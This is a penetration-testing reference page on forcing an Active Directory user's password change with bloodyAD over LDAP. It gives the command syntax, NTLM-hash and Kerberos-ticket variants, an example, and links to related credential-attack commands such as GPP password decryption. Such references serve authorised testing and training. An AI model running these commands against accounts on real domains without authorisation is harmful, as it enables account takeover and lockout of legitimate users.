BloodyAD Force Password Change

Force password change using BloodyAD

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: bloodyAD
Category: Credential Attacks / Password Manipulation
Platform: linux
Requires: password
Protocols: LDAP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

bloodyAD --host '<ip>' -d '<domain>' -u '<user>' -p '<password>' set password '<target_user>' '<new_password>'

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

bloodyAD --host '<ip>' -d '<domain>' -u '<user>' --hashes ':<hash>' set password '<target_user>' '<new_password>'

Kerberos Ticket requires Kerberos ticket

bloodyAD --host '<ip>' -d '<domain>' -k set password '<target_user>' '<new_password>'

Examples

bloodyAD --host '192.168.1.100' -d 'CORP.LOCAL' -u 'user' -p 'password' set password 'targetuser' 'NewP@ss123'

Tags

bloodyad password force-change credential-attack

bloodyAD add uac Toggle UserAccountControl flags on a target account. Setting DONT_REQ_PREAUTH on a user…
bloodyAD Set Password Reset another user's password if you have ForceChangePassword…
Impacket changepasswd Change an AD user's password via RPC (requires appropriate ACL rights)
Impacket Get-GPPPassword Decrypt Group Policy Preference (GPP) passwords from XML files
Net RPC Password Change Force password change via Net RPC
NetExec change-password Module Reset a user's password when they are flagged STATUS_PASSWORD_MUST_CHANGE — typical…
NetExec SMB GPP AutoLogin Search Group Policy Preferences for AutoLogon credentials stored in SYSVOL
NetExec SMB GPP Password Search SYSVOL for Group Policy Preference XML files containing encrypted passwords